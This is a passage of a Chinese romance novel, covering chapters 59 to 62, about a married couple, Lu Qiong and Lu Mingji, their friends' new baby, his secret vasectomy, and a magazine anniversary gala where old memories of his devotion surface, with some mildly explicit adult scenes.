她在酒吧嗨到凌晨回的酒店,还带了个帅哥睡了一觉,没睡饱就爬起来赶飞机,人困得一批,找空姐要一条毯子,飞机起飞后就戴上眼罩补觉。 买的商务座。 葛晚棠单独坐一边,路琼陆明霁坐一边。 他们两个也是凌晨才睡,没葛晚棠那么晚,那么欢腾,一觉睡到自然醒。 路琼还是头一次来港城,没好好逛逛就走,有点小遗憾。 飞机愈升愈高,直至云层遮盖住地面风光,她没再看窗外,靠向陆明霁:“找个不忙的时候,我们出去旅游吧?” 大学寒暑假,她记挂小老太太,一放假就跑回家,上学期间少有长假期,国庆七天倒是够短游,可总会有各种各样的事情耽误。 他们还没有过一次旅行记忆。 陆明霁翻着飞机上预备的杂志打发时间:“谁要跟你旅游。” 昨天那事儿已经揭过,睡前、早上起床都还好好的,怎么又冷不丁闹起小性子来。 路琼再是朵解语花也不是次次都能解密陆明霁:“为什么又不开心?” 陆明霁翻过一页杂志:“没有。” 路琼刨根问底:“怎么了呀宝宝。” 陆明霁心无旁骛。 路琼瞧着他淡然的侧脸,食指勾住他小拇指:“老公?” 陆明霁再翻过第三页杂志,嘴角向两边轻扯,绷着唇。 不似不高兴的那种抿唇,倒像是在抑制着什么。 路琼摸到点窍门,压低嗓音:“老公?” 陆明霁杂志翻过第四页。 这下路琼十分把握陆明霁就是耍心机想听她喊老公。 这九曲十八弯的心思。 路琼乐得宠他,附到陆明霁耳边,两手弯曲拢着他一只耳朵,老公老公喊好多遍。 用着气音,热气一遍又一遍吹拂进他耳蜗,心都被她叫软,另一个地方也被她叫硬。 陆明霁在失态前合上杂志,随手横放在小腹,反手攥住路琼胳膊:“你多动症么,坐好。” 拐弯抹角在她这儿讨要的是他,嘈她坐没坐相的也是他。 这人。 路琼在他耳垂亲一下,索取完报酬后坐正。 抽一本杂志也瞅瞅,学习下别家杂志怎么排版、编写。 路琼做事一做起来就容易投入,没有再找陆明霁聊天,小半本杂志看完,余光里旁边那道身影纹丝不动。 她纳罕侧目。 陆明霁阖着眼,俊脸微红。 路琼分辨得出是那种情事的潮红。 细眉一挑。 朝他下身扫去。 外套一角衣摆盖着,杂志挡着。 看不见。 可越是这样反而越有鬼。 路琼扬唇一笑,又挨向他耳朵:“老公,你脸怎么红了?” 陆明霁听得出她语气里暗含的戏谑,反手推开她幸灾乐祸的脸:“闭嘴。” 路琼乐不可支。 陆明霁这也算是自讨苦吃。 * 落地沪市是下午一点钟左右。 昨天占用路琼半天周末,葛晚棠今天还给她,让她下午不用再去杂志社。 葛晚棠的车就停在机场,她开车走。 陆明霁上飞机前有叫司机来接。 三人在机场就地分别。 路琼不需要上班,陆明霁就也不太想去公司。 彭靖驰都能在家里陪老婆,他为什么还要任劳任怨去工作。 都是老板,不能厚此薄彼区别对待。 上车后,陆明霁问路琼是不是回家。 路琼有挺长时间没去找谷蕴柠,下午没事做,就去看看谷蕴柠和宝宝。 陆明霁不太爽:“有什么可看的。” 路琼边在微信上跟谷蕴柠知会一声边回陆明霁:“太久没去了,再不去她该闹了。” 陆明霁阴阳怪气:“你还挺博爱。” 路琼还当陆明霁是和谷蕴柠不对付,懒得上门。 说来搞笑,她和陆明霁分手后,谷蕴柠指着陆明霁鼻子把他骂得狗血喷头那样,任谁都不会相信谷蕴柠曾追求过陆明霁。 昔日爱慕对象因她而反目成仇。 在某种角度来看,她也能担得起一个红颜祸水的称号? 路琼还在跟谷蕴柠聊天,问她有没有什么想吃的,单手敲着字,腾出一只手去捻捻陆明霁耳垂:“最爱你。” 陆明霁:“……” 朝后视镜觑。 又一次与司机对上眼。 司机是第二回遇到这场面,不再稀奇。 回以陆明霁慈祥一笑。 陆明霁:“……” …… 最近沪市天气都不错,晴朗温暖,风和日丽。 谷蕴柠还在月子里,不宜见风,但要她一个月不出门就在屋里闷着,她会憋疯。 彭靖驰预料到这点,谷蕴柠在医院待产那几天,他就找施工团队把别墅院子改造一番,连通客厅盖起一间玻璃花房,里面围满各地空运过来的鲜花,一比一还原谷蕴柠小时候喜欢的那种DIY微缩小屋。 谷蕴柠每天大半时间都会在花房里晒太阳,彭靖驰就鞍前马后的侍奉在侧,宝宝不哭的时候就抱到花房和妈妈待在一起,哭闹的话就送走给月嫂照看。 路琼和陆明霁到时,谷蕴柠和宝宝就在花房。 路琼是联系的谷蕴柠,谷蕴柠也没跟彭靖驰讲,所以彭靖驰从厨房冲好奶粉,拿着奶瓶往脸上贴试着温度出来,看到不请自来的夫妻二人,先问一句你们怎么来了。 “反正不是来看你。” 陆明霁将买来的补品、水果交给保姆。 路琼问谷蕴柠在哪。 彭靖驰指指花房。 路琼找过去,两个男人落在后面。 彭靖驰不知道陆明霁昨晚杀去港城抓人,只问:“今天周一,你怎么没上班?” 陆明霁斜觑他,口吻相当理直气壮:“你都不去我为什么要去。” 彭靖驰好笑:“我老婆怀孕生孩子我要陪着,你老婆也怀孕生孩子?” 陆明霁不疾不徐回击:“谁说陪产假一定要真生了才能休。” 他又不要孩子,想什么时候休就什么时候休。 不过说到休假,陆明霁催彭靖驰:“谷蕴柠没事了你就赶紧回公司。” 彭靖驰不知所以:“怎么,公司没我转不下去了?” 陆明霁下巴不动声色抬起几毫:“路琼约我去旅游。” “……” 彭靖驰活像看到一只大舔狗:“你都一奔三的人了能别清纯了吗,约你旅个游你兴奋啥呢?” 跟这种没有内涵的臭傻逼多说一个字都是白费口水。 但陆明霁从不吃亏:“孩子都要满月,结婚证还没领,我也是佩服你能天天活的这么没心没肺。” 彭靖驰:“……” 操! 花房里,路琼坐在婴儿车旁边的竹藤编椅上,食指戳着宝宝肉乎乎的脸蛋逗他玩,边和另一张椅子上的谷蕴柠聊天。 正说着尚嘉五十周年庆时赶上谷蕴柠出月子,叫她去参加晚宴玩一玩,就听花房外两个男人你一言我一语地拌嘴。 吵到宝宝,一直岁月静好的小婴儿烦躁地哭嚷起来。 谷蕴柠先捂住耳朵,月嫂没在花房,门外彭靖驰听见声音,三步并两步冲过来,抱起儿子哄着。 谷蕴柠晦气地瞪两个男人一人一眼,指着门口:“都滚出去,哄好再进来。” 彭靖驰就带着儿子拽走陆明霁。 他陪不到老婆陆明霁也别想在路琼眼前晃。 花房门关上,世界重归宁静。 谷蕴柠躺到藤椅上,隔着玻璃眺望着上方湛蓝天空,过来人的身份劝诫路琼:“真的,别要孩子,孩子就是一大累赘。” 要不是那次出门去玩,酒店安全套质量不行,不幸中招,谷蕴柠也不会要孩子。 查出来都怀孕一个月,好歹是条生命,不忍心打掉,就只能生下来。 路琼在藤桌上捡个橘子剥:“我没想要。” 孩子这个问题,谷蕴柠生产那天,她和陆明霁聊过。 在那之后,她又深想过。 母爱无私又伟大,而她不想奉献自己,以她和陆明霁的条件生完孩子请十个八个保姆照看都不在话下,可一旦有了孩子就有了牵绊,不自觉就会以孩子为主,为TA放弃一些与TA相悖的东西。 而且怀孕会变丑,身材会走样,虽然谷蕴柠怀孕前后没什么变化,就是丰盈一些,照样漂亮娇艳,但路琼没胆子赌。 “不要就对了,反正我给你生一个了,以后他给你养老。”谷蕴柠朝路琼伸手,路琼将剥好的橘子分一半给她,她一口塞嘴里:“这么说来,陆明霁这人也还凑合吧。” 橘子挺甜,路琼喜欢橘子的清香,陆明霁身上就是这种味道。 她剥第二个:“怎么拐到陆明霁了?” 谷蕴柠又摊开手,等着接下一半橘子:“你不想要孩子,他不就结扎了么。” 第60章 荔枝 谷蕴柠等半天没等到下一半橘子,歪一歪脑袋,路琼剥橘子的手停下,橘子皮四分五裂地裹着橘子瓣。 她手臂一扬,在路琼眼前打个响指:“你不知道?” 路琼回过神,将剥好的整个橘子都给谷蕴柠:“他没说。” 橘子皮汁水溅到手上,有些黏,她抽湿巾擦着。 谷蕴柠掰下一瓣橘子:“我也是听别人说的,就前几天。” 说完,她丢进嘴里。 这事说来巧合,还要归功于谷蕴柠朋友圈人脉广泛。 谷蕴柠大学毕业后去也国外读了个研。 镀镀金,学历高点说出去也高级。 在国外结实了一批朋友,当然含金量、重要性肯定不及605一半。 回国后联系就减淡。 她一个坐拥万贯家财,二十七年人生里唯一吃过的苦就是追陆明霁反被他爱答不理,的超典型大小姐,日常生活就是逛逛逛、买买买、拍拍拍,再发到社交账号上分享生活。 这个世界即仇富又媚富,谷蕴柠随意记录的流水账因堆积成山的奢侈品,以及超出普通人想象的富贵生活,吸引来大批粉丝。 微博粉丝三百多万。 这还是在她没有经营过的前提下的粉丝数量。 谷蕴柠彭靖驰、陆明霁他们这批人冬天过年,初三、四走完亲戚就会组团去国外找个春暖花开的地方度假。 出去玩就会拍照,谷蕴柠有一条九宫格微博,中间那张放的他们几人合照,剩下几张就是抓拍那种。 陆明霁就在谷蕴柠一张自拍里无心闯入。 男人穿着卫衣短裤,抬到胸前的手拿着酒杯,食指中指间夹着一根烟,漫不经心扭头睨向镜头。 虽然照片主角不是陆明霁,但他长相摆在那儿,就不会被忽略。 前两天她收到在国外读研时认识的一个女性朋友的消息,这朋友是一家华裔私人医院院长的女儿。 她发过来谷蕴柠那张有陆明霁入境的自拍,还有一张陆明霁坐在病床上看电脑的照片,问谷蕴柠这个是不是她朋友,现在在不在美国。 那条微博谷蕴柠也同步发到过朋友圈,但朋友圈半年可见,朋友翻半天她微博才找到。 谷蕴柠听彭靖驰说过陆明霁在美帝出差,就回她是,还问她陆明霁怎么跑到医院去了? 朋友就感叹陆明霁和他女朋友感情一定很好,为她来做这种手术,还惋惜要不是陆明霁做这通手术侧面印证他与女友情比金坚,她不介意挖墙脚。 谷蕴柠听得丈二和尚摸不着头脑,再一细问,才知道陆明霁去是做的结扎手术。 路琼不想要孩子,陆明霁说结扎就去结扎。 谷蕴柠想想自己怀孕生子受的苦,当晚趁彭靖驰熟睡后一脚把他蹬下床。 谷蕴柠这个娘家人发话:“算他过关吧。” 又告诉路琼陆明霁送她们三个包包那事。 藤桌上的果盘里还有好些水果。 路琼捡颗陆明霁爱吃的荔枝剥。 一边剥着一边眺向客厅。 花房就在客厅正对面,中间用玻璃通道相连。 彭靖驰抱着哭闹不止的宝宝坐在背对花房的单人沙发里,陆明霁坐在旁边长沙发一侧。 人挺闲散,眼落在彭靖驰那儿,嘴角似笑非笑勾着,嘴唇动着,不知道又在怎么落井下石彭靖驰。 似有所觉,他朝花房这里瞥来。 穿越过繁花空隙,簇簇阳光,二人目光相交。 在国外出差还能找空去结扎。 回来还要跟她聊什么离婚。 就他能装。 路琼剥好的荔枝含进嘴里,鼓着一边腮,冲陆明霁挥挥手。 陆明霁没什么表示,四五秒钟后,他掏出手机。 路琼这边手机就一震。 她嚼着荔枝,点开陆明霁微信。 他发来一个橘猫摇爪子的表情包。 第二条文字消息:【蠢的像它一样。】 路琼:【那你还盯着我看那么久。】 陆明霁:【我眼不好,看不清。】 他的眼睛…… 陆明霁没深层含义,就是不想承认他久看她的借口,路琼还是心口一堵。 伤害不可逆,时光也不能倒退回那年大雪,路琼只能在余生里精心爱护他的眼睛。 不聊这些沉重内容,路琼把荔枝壳放在掌心,拍张照片发给陆明霁。 路琼:【你像它。】 陆明霁:【你说梦话呢?】 路琼:【外表硬硬的,里面软软的,又白。】 路琼:【你脸红起来还很像荔枝壳的颜色。】 路琼:【重点是,我很喜欢吃。】 这三句话打出来,路琼就能预知陆明霁的表情。 她发完最后一句就撩起眼。 陆明霁把手机往左手边一扔,木着脸,像是谁又惹他不愉快,只耳朵殷红。 经不住一丁点调戏。 荔枝这个比喻路琼就是心血来潮,聊过就忘,但是陆明霁记下。 晚上在谷蕴柠这儿吃完晚饭,陆明霁连吃带拿,搬走一箱子荔枝。 回到家洗完澡,时间还早,两人就在客厅关上灯看电影。 茶几上摆着几包零食,一个果盘,一盘荔枝。 看到后半段就做了。 电影时亮时暗的画面将客厅里气氛烘托到极致,电影里男女主角处在争吵过后的温存时刻,身为观众的两人也是温情脉脉。 女.上太深刻,路琼身体软成湿海绵,一挤就出水。 陆明霁搂着她,一心二用慢悠悠动着。 路琼真不太行,想换个姿势,一张嘴,就被塞进一个软.甜.多.汁的东西。 路琼下意识嚼两下,尝出荔枝味道。 茶几上的物品都是陆明霁摆放,路琼在他眼前挡得严实,他凭记忆找到湿巾擦手。 姿势造出的身高差,陆明霁不用低头就能吻到那两抔白。 他亲吻其中一抔,又仰头去够路琼的唇。 沾到她口中的荔枝甜腻。 他说:“你才像。” * 五月六号,尚嘉杂志社成立五十周年庆典。 在宝山区包下一栋庄园作为场地。 上午就是检阅场地,查缺补漏,下午两点庆典正式开始。 分为两部分,第一部分是回顾尚嘉五十年来的发展历程、董事长、各元老级领导发言,第二部分就是晚宴。 听发言最为枯燥,哪怕是葛爸上台演讲,葛晚棠都没太给面子地听。 她坐在最后一排,扣弄着新做的美甲,跟路琼讲小话:“晚宴陆明霁来不来?” 路琼嗯声:“来。” 陆明霁下午有个合作要谈,彭靖驰在家休假,这种对外交际的事情都落在他头上。 “你们领证也蛮久了,婚礼什么时候办?” 才五月份,葛晚棠就随出去□□份份子钱,平均一个月就有两对新人成婚,她一个不婚主义者又不见的能收回来,掏钱掏得肉疼。 路琼的份子钱她随着心甘情愿,就是人没一点办婚礼的信。 路琼脸朝舞台,装出好好学生认真听讲开着小差:“不知道。” 婚礼这事儿,陆明霁他俩还真没商量过,主要是办婚礼两家长辈必须要出席,她亲人都不在世,不出席情有可原,可是陆明霁家人俱全,儿子结婚妈不来,路琼无所谓,陆明霁多少会不好受。 陆明霁也不让她操心他跟他妈的关系,还下死命令给她,不许她背着他去找他妈。 路琼没想过越过陆明霁去找傅文熙,在傅文熙眼里她无足轻重,傅文熙又怎么会因为她的三两句话就改观对她这个人,对她和陆明霁结婚这件事的看法。 注定成功不了的事,她不会做无用功。 而且她伤害过陆明霁,对不起过陆明霁,可没欠过傅文熙什么,钱连本带利都还清,她又不是受虐体质还上赶着去找骂。 “不急。”路琼补:“就结这么一次,我得好好策划。” 这是真话,和陆明霁的婚礼就这么一次,不能含糊。 葛晚棠预测到自己灰暗的未来:“你领证我爸还不知道,等你办完婚礼他又有现成的例子催我了。” 音落,就跟舞台上的亲爸对上眼。 葛爸正瞪着她,不满她在台下嘀嘀咕咕。 葛晚棠做个鬼脸,倒也端正态度。 致辞演讲这一环节进行三个多小时,五点半完事,葛晚棠就拉着路琼去楼上房间换礼服。 晚宴七点钟开始。 在房间吃点甜品垫垫肚子,还不能吃太多,小肚子鼓起来不好看。 再补补妆,换上礼服就要出门。 这期间闹出个小插曲。 路琼换好礼服,戴配饰时,一对耳环有一只不见了,时间不够她翻箱倒柜,干脆就带一只出去。 路琼和葛晚棠一个主编一个总编,都不得闲,回楼下就忙着招待宾客。 Brody和迟恒都收到晚宴邀请函,到的不早不晚。 看到送进一批宾客折返回入场口的路琼,Brody欢天喜地抱住她,彩虹屁不要钱地输出:“好漂亮的琼,今晚最美女王非你莫属!” 路琼回拥他,手在他背部轻拍两下:“谢谢。” 又是几辆豪车依次在门口停下。 泊车员为贵客打开车门,砰砰砰的车门关闭声络绎不绝。 其中有一道,莫名突出。 路琼望过去,就那么极其顺畅的与台阶下方的陆明霁撞上视线。 坏菜了。 路琼立刻冒出这么个念头。 不出所料,陆明霁在看清她被Brody揽在怀里后,那脸色就像西伯利亚冷风过境。 路琼忙不迭地扯Brody,小声:“松手松手!” Brody不知危险来临,人倒是离开她,手还在她肩膀上放着:“怎么了,你怎么这么嫌弃我?” 旁观者迟恒扫见逼近的男人,正眼落过去,上手拎着Brody后脖颈:“走了,进场。” 闲杂人等清走,陆明霁也到路琼跟前。 路琼若无其事去牵陆明霁的手:“老公,合作谈的顺利吗?” 陆明霁要不是看是在外面,他非甩开路琼:“没你抱男人抱的顺利。” 路琼装傻充愣:“谁抱男人了。” 她再偷换概念:“Brody是姐妹啊。” 陆明霁懒得争辩,冷嗤一声。 路琼左右看看,拽着陆明霁到一根直径得有成年男性展臂那么宽的石柱后面。 裙摆蹭过陆明霁西装裤,她另一只手扶在陆明霁肩前,侧额在他唇上一吻:“一天没见了,好想宝宝。” 又在给他下迷.魂药。 陆明霁不吃:“少来。” 他就死鸭子嘴硬。 心里其实喜欢的不得了。 路琼涂着口红,不好再亲他,后退回去,抬起点手臂,向他展示自己:“我好看吗?” 路琼一袭墨绿色吊带长裙,大露背,高开叉,有点像电影《赎罪》里女主角那条留名影视的绿裙子。 长卷发散在背后,只左耳一只流苏钻石耳环。 漂亮又耀眼。 陆明霁轻捻着她空荡的右耳耳垂:“怎么就一只?” 路琼无奈撇嘴:“那只找不到了。” 陆明霁瞅着她,眼底闪动着欲色,突然好烦这个破晚宴。 他想要干点什么,欲望强烈到脸皮都变厚,凑近路琼右耳。 路琼就眼睁睁瞧着他靠过来,鼻息拂过她脸颊,到她耳廓。 耳垂一热,落入潮湿的环境里。 酥酥.麻麻的电流在那一秒通遍全身。 她抓紧陆明霁的手,不住耸肩。 继而被一阵细密刺痛取代。 路琼挠一下陆明霁掌心。 也就一两秒钟的空,却仿佛翻倍延长至几分钟。 陆明霁咬完她就站直,动手将她肩后长发都拢到右侧,掩住没有配饰的右耳,将她的美更凸显一个层次。 不发一言,转身进场。 路琼鲜少被他弄得脸发热。 好在有粉底遮盖,她反手摸摸自己发烫的脸颊,刻意不去感受耳垂残余的痒。 …… 场内,迟恒站在餐台前,看着不远处与人交谈的陆明霁。 Brody端着盘子挑好甜点回到他身边:“你在看什么?” 迟恒若有所思:“我觉得,陆明霁有点眼熟。” 60-64 第61章 春末的夜晚 晚宴没什么正经事,就是用来交际应酬。 觥筹交错,推杯换盏间就可能奠定下一个合作项目或者是增加一条人脉。 尚嘉给琅域发了两张邀请函,彭靖驰那张是私人邀请,和谷蕴柠那张一起送到家里去。 代表琅域参加的就陆明霁,剩下一个是魏锦航。 这种宴会就是娱乐和商业性质并重。 谈事情的谈事情,玩闹的玩闹,互不影响。 谷蕴柠算上孕后期,在家已经闷两个月,人憋得不行,一朝出门,彻底放飞自我。 宴会厅二楼,成为年轻人聚集的party场地,组局人就是谷蕴柠。 路琼和葛晚棠招呼完宾客,过去凑了凑热闹,什么逛三园、俄罗斯转盘、你有我没有都玩一遍。 路琼今晚运气不佳,输多赢少,你有我没有这游戏依仗一句“我结婚了”傲视全场,赢得最痛快。 她作为尚嘉主编之一,是晚宴东道主,不能喝醉,又输掉一局喝完两杯酒她就退出游戏。 去三四步外的吧台要一杯柠檬苏打水,坐着醒酒。 没一会儿,迟恒过来。 迟恒家里也有点背景,他公开出柜后就没再出席过家族活动,但身份还在那儿,晚宴上有人认出他,借机攀谈两句。 Brody不喜欢乏味的商业交谈,被谷蕴柠招揽过去,现在正玩得嗨。 迟恒脱身后没去找Brody,而是直奔路琼去。 路琼一只手臂撑在吧台上,支着脑袋,以为迟恒没看见人,指指右边:“Brody在那。” 迟恒先瞅过去一眼,Brody许是赢下一局游戏,欢呼鼓掌,迟恒眼里神情一软,再看回路琼就散开:“我有事跟你说。” 迟恒常年冰山脸,葛晚棠评价他是面瘫,喜怒哀乐共用一个表情,旁人探不到他情绪如何。 不过相识这么多年,路琼挺了解这朋友。 品出他语气里的慎重,路琼坐直一些:“什么事?” 迟恒沉吟着:“我感觉,我好像见过陆明霁。” 在私房菜馆第一次见到陆明霁,迟恒就觉得眼熟。 可是搜肠刮肚都想不起来在哪里见过。 今天陆明霁穿一身黑西装出现。 迟恒大脑里就闪过一帧画面。 纽约春末的夜晚,枝头绿叶抽长。 一个普通到不能再普通的日子。 值得一提的是路琼在前一晚获普利策特稿奖,他们在她公寓里庆祝到天亮。 嗨到疲惫,就没走,横七竖八躺在她公寓客厅凑合睡一晚,葛晚棠和她两位女士在她卧室睡。 整个白天睡过去,晚上五个人出去吃饭。 Brody左拥右抱着两个女生走在最前面,周之浔其次,迟恒断后。 他们出公寓楼该右转,迟恒推门而出时被外面进来的一个人撞到,那么一停顿,不经意瞥到楼对面街边的一个男人。 也是一身黑色西装,亚洲面孔。 吸引迟恒重视的是他的眼神。 专注、贪婪地望着一个方向。 又夹杂着点痛苦。 那个眼神迟恒在初初喜欢Brody时有过,他很是熟悉。 男人靠着墙壁,抽着一支烟,川流不息的车辆在他面前一辆接一辆掠过。 他就那么盯着一处。 察觉到迟恒在看自己,男人回看他一眼。 灭掉烟,上车。 当时时间太短,迟恒没能找出他在看谁。 直到他成为路琼的老公,站在她身边。 迟恒在久远的记忆中拽出一个画面:“没记错的话是三年前,你普利策获奖的第二天。” …… 陆明霁今晚也挺忙,不说他背后的陆家、傅家,单就他自己门户成立琅域,将琅域壮大到现在这个阶段,就足以被圈里人高看。 这个人端着酒找他碰个杯,那个人笑着上前跟他聊两句,一晚上都不得闲。 路琼玩游戏喝酒喝得有些猛,酒劲后上头,嫌屋里闷,宴会步入正轨,暂且没她什么事,她就找个能看到陆明霁的露台吹风透气。 腿边的小圆桌上有一杯柠檬苏打水,一杯粉色帕洛玛。 她什么都没想,就放空自己盯着陆明霁。 吱呀一声轻响。 隔壁露台门打开。 魏锦航打着电话进露台:“工作忙,过段时间就回。” 电话那端不知道说些什么,魏锦航将手机挪远耳朵。 几个数后,约摸着听筒里那人唠叨完又挪回耳边:“知道了妈,我——” 他稍顿,接上:“陆明霁结婚那是因为他女朋友跟他求婚了,等我女朋友什么时候也跟我求婚我就结。” 事实上他连个女朋友的影子都没有。 糊弄着挂断他妈的电话,魏锦航如释重负地呼口气。 久坐办公室颈椎一堆毛病,他按着脖子转着活动,一扭头,一激灵:“我操!” 路琼笑眯眯地朝他挥挥手:“嗨。” 魏锦航吓得心怦怦跳,声音都有点发颤:“你什么时候来的?” 路琼给个大致答复:“在你来之前我就在了。” “……” 那岂不是听到了他那句瞎话。 魏锦航捂着胸口,咳两声:“那什么,我是要打发我妈才说成是你求婚的。” 路琼含着吸管喝口苏打水,咽下去:“说是我求婚也没错,的确是我先问他要不要结婚的。” 路琼和陆明霁结婚的内幕,鲜为人知。 但魏锦航,还有陆明霁那群发小在他抖露出的信息里,都断定是他求的婚。 现在女主角亲自辟谣,是她先主动。 魏锦航一个嘴快:“那陆明霁没乐死?” 路琼笑:“没有,把我轰走了。” 不仅没乐,都要被她气死。 “他就嘴硬,心里比谁都软。” “我知道。” 按理说感情是两个人的事情,魏锦航一个朋友不宜掺和,但有些话他积压在心不吐不快:“路琼,既然都结婚了,你就对陆明霁好点。” 爱一个人就仿佛在她身上装有雷达。 无论置身于多喧嚷的场合中,都能轻而易举找到她。 陆明霁在与人聊天的间隙朝偷看他的路琼递个眼神。 路琼大方抛个飞吻给他,然后斜向魏锦航:“嗯?” “陆明霁他真挺喜欢你的。”魏锦航翻出一件压箱底的旧事:“你们分手得有三年了吧,你一个电话他就飞纽约去找你了。” 路琼挂在脸上的盈盈笑意散去,她侧过身面向魏锦航。 魏锦航烟瘾上来,问路琼介不介意,后者摇头,他掏出烟盒,点上一根:“只要见过陆明霁那天的样子,没人会忘记。” 所以他至今记忆犹新。 那时候他们正在陆明霁办公室讨论项目,陆明霁手机进来一个电话,魏锦航从铺满桌的文件资料最先找到他手机,递给他前他看到来电显示,IP属地是美国。 陆明霁接过手机后,人的神态就不太对。 说不上来。 非要形容就是濒死的人看到一丝活下去的希望,又怕是虚幻一场,不敢相信的感觉。 陆明霁没叫他们出去,接起电话,沉默着。 很久很久他都没有说话,五分钟后,他贴在耳边的手机拿下来。 外套都没拿,大步走出办公室。 在他办公室里的人面面相觑,不懂陆明霁怎么回事。 只有魏锦航猜到原因。 魏锦航想,路琼肯找他,就可能是和好的信号,陆明霁这一趟最少去一周。 结果第二天晚上,他去陆明霁办公室拿落下的一份文件,进去就看到陆明霁仰靠在沙发上。 还是走之前的那身衣服。 胳膊挡在眼睛上,哪都没打理,下巴一圈青色胡茬,人挺潦倒。 陆明霁是魏锦航生平所见最精致的男人,从未见过他那种能被称之为“邋遢”的模样。 魏锦航就又猜到是怎么回事。 他恨铁不成钢,骂陆明霁:“都分手多少年了,一个电话你就飞过去,她万一是拨错呢!” 他骂得很难听:“陆明霁你贱不贱!” 要换平时,谁这么骂陆明霁一准没好下场。 魏锦航那么侮辱他,他都很平淡,不置一词。 跟抽走一股劲儿似的。 人都萎靡下来。 魏锦航骂完就后悔,他坐到陆明霁对面:“你说你图什么,恋爱三年分手三年,时间上扯平该能忘了吧?” 陆明霁还是不吭声,如果不是起伏的胸膛证实他还在呼吸,与死人也没两样。 陆明霁从不聊感情,事情都憋在心里,魏锦航没指望他能理会自己,躁郁地搓搓头发,不再打扰他独自舔舐伤口。 他刚一起身,就听见陆明霁沙哑又疲惫的嗓音。 魏锦航一字不差专属给路琼:“他说‘路琼那么硬的一个人,认准就不会回头,如果不是受了委屈坚持不下去,不会找我。’” 哪怕是误拨。 陆明霁也要亲眼去看看才踏实。 第62章 57565 宴会厅内歌舞升平,热闹持久。 路琼没进去融入,一人待在露台上,站累了就坐下,帕洛玛冰块放的有些多,她就咬着吸管一点一点嘬饮。 庄园院子里种着一排樱花树,五月正是樱花盛开好时节,一枝樱花跃上二楼露台边缘,恰好点缀在路琼发边。 远看像是她别着一枚樱花发饰,娇艳的粉与她身上的绿相得益彰,丝毫不见突兀和土气。 漂亮的人怎么样都漂亮。 路琼落在陆明霁那里的视线太肆无忌惮,勾得陆明霁心神早就飞走,不耐与人寒暄周旋,在一个话口空荡,他借口有事举杯碰一下长辈的酒杯,离席走向她。 路琼就那么坐在那儿,双腿交叠,坐左手肘抵住膝盖,虚握着拳托着下巴,两条小腿笔直细长,裙摆曳地铺陈开。 右手拿着杯子,喝着酒,看着陆明霁过来。 最终停在她半步外。 陆明霁抽走她喝完一半的帕洛玛,不轻不重丢在桌上,玻璃杯惯性前滑到玻璃桌中间。 他眼皮下耷俯视她:“狗说要戒酒。” 握着酒杯不显,这一脱手,五指指腹和掌心冰得有些发疼。 路琼最能忍痛,但她现在就想娇气一回,右手钻进陆明霁垂在腿侧的手心:“好凉好凉。” “活该。”陆明霁稳定发力:“怎么没冻死你。” 说是这么说,人已经挣开路琼的手去解西装外套的扣子。 路琼笑容狡黠。 瞅准时机,在陆明霁脱下外套扬手要披在她身上时,她站起来扑到陆明霁怀里。 陆明霁一愣,抬高胳膊,仍然将外套挂到她肩膀,攥住她肩头要推她:“起开,臭死了。” 路琼鼻子又没失灵,她身上什么味道她能不清楚? 臭什么臭,她换完礼服头发、颈间、膝盖都喷了香水,都要被腌入味。 路琼不起开,还环住他腰:“那你还把你外套给我,不怕被熏臭?” 陆明霁岂会被一件衣服困住:“外套我不要了,回去就丢了。” “真的?” “真的。” “真这么嫌弃我?” “不然呢。” 路琼上半身微微后仰,两人就腰腹部相连,她歪歪头,左耳的流苏耳环随之荡漾:“那你怎么还不推开我?” 她又没有很用力抱他,就算她使出吃奶的劲儿,他一个大男人还能掰不开她? 陆明霁沉下脸,她这么不识好歹,他不必惯着。 手上力道加重。 眼前一暗,清甜的荔枝香袭击进他鼻腔,唇上是若即若离的柔软,她舌尖伸入,挑.逗着他的舌尖。 陆明霁就不再能装下去,加筑在她肩膀的力气就这么烟消云散。 路琼避忌着口红,以免不好擦,唇瓣没有紧.密.贴.合,两人就舌尖在嬉闹。 吻一会儿,掐着陆明霁堪堪上.瘾时,她中断。 再问:“酒甜不甜?” 陆明霁听不进去她在叽里咕噜说什么,行动快于大脑指挥,往前追着路琼。 路琼在他唇尖轻啄一下:“我口红会掉。” 陆明霁醒悟过来,他觉得自己刚才一定像一条快要饿死前见到骨头的狗,丑陋又饥.渴。 偶像包袱掉了,少爷很生气。 气到只想逃离这片尴尬的区域,今晚回家也不想再跟路琼睡一起。 他要分居! 陆明霁不是情绪外露的人,但是很奇怪,路琼次次都能在他脸上看见他一系列清晰的心理变化。 真是要被他可爱死。 路琼搂着她的腰晃晃:“回家再给你亲。” 陆明霁不稀罕:“谁要亲你,满嘴臭酒味。” 路琼找他茬:“你就一口没喝?” 这场合,喝酒是逃不开的事。 陆明霁不屑:“我没你那么不诚信。” 他早就将酒换成气泡水,反正也不会有人神经病一样较真要尝尝他酒杯里的是什么东西。 他答应路琼要戒掉不良嗜好就会做到。 才不像路琼那个说话不负责任的骗子,说好戒酒,玩游戏喝酒喝得比谁都嗨。 路琼吃惊不已,表情夸张又生动:“天呐,宝宝你好聪明。” “……” 陆明霁眼睛有被她拙劣的演技辣到,智商好像也被冒犯到,一言难尽地拧着眉:“你要进军娱乐圈去领金扫帚奖?” 路琼被他一句话整破功,戳中笑点,趴在他肩膀笑出声。 她笑起来身体在抖,整个人伏在他怀里,馨香弥漫进他呼吸里。 路琼气质是偏知性清冷的,她却格外钟爱花果香调的甜腻香水。 上大学前,路琼连香水是什么都不知道,第一次对香水有概念,是大一入学第一天,谷蕴柠与她擦肩而过,她在谷蕴柠身上闻到的香气。 又冲又浓郁。 于是就给路琼刻下对香水的固有认知,淡香类更适合她,但她不喜欢。 她做事向来随心而定,不会考虑适不适合,只考虑喜不喜欢。 永远不会被框架束缚。 这是路琼最有魅力的一点,也是陆明霁最爱她的一点。 他偏头过脸,鼻尖陷进路琼发间:“新换的香水?” 路琼点头:“好闻吗?” 好闻。 她身上的味道怎么都好闻。 然而,陆明霁一开口:“凑合。” “还是你给我的灵感,才挑的这瓶香水。” 昨天和葛晚棠做完皮肤管理再去逛街,葛晚棠想买香水,她就陪着参考,是听导购推荐一款新香,葛晚棠不感冒,她反倒是心动。 只是店里只有试用装,没有新货,调货过来后今天送到的尚嘉。 陆明霁拉上因为她乱动而滑下肩膀的外套,挑眉:“什么意思?” 路琼意味深长一笑:“荔枝啊,你不说我像吗。” 陆明霁就是床上浪,床下纯。 举止浪,言辞纯。 路琼这么一回顾,那晚情.事全过程顷刻间就脑海里播放。 陆明霁不接话。 意料之中,他耳朵又在发红。 路琼使坏地朝他耳朵吹一口气:“陆明霁,我觉得你好爱我。” 她只字不提迟恒和魏锦航讲给她的那件事。 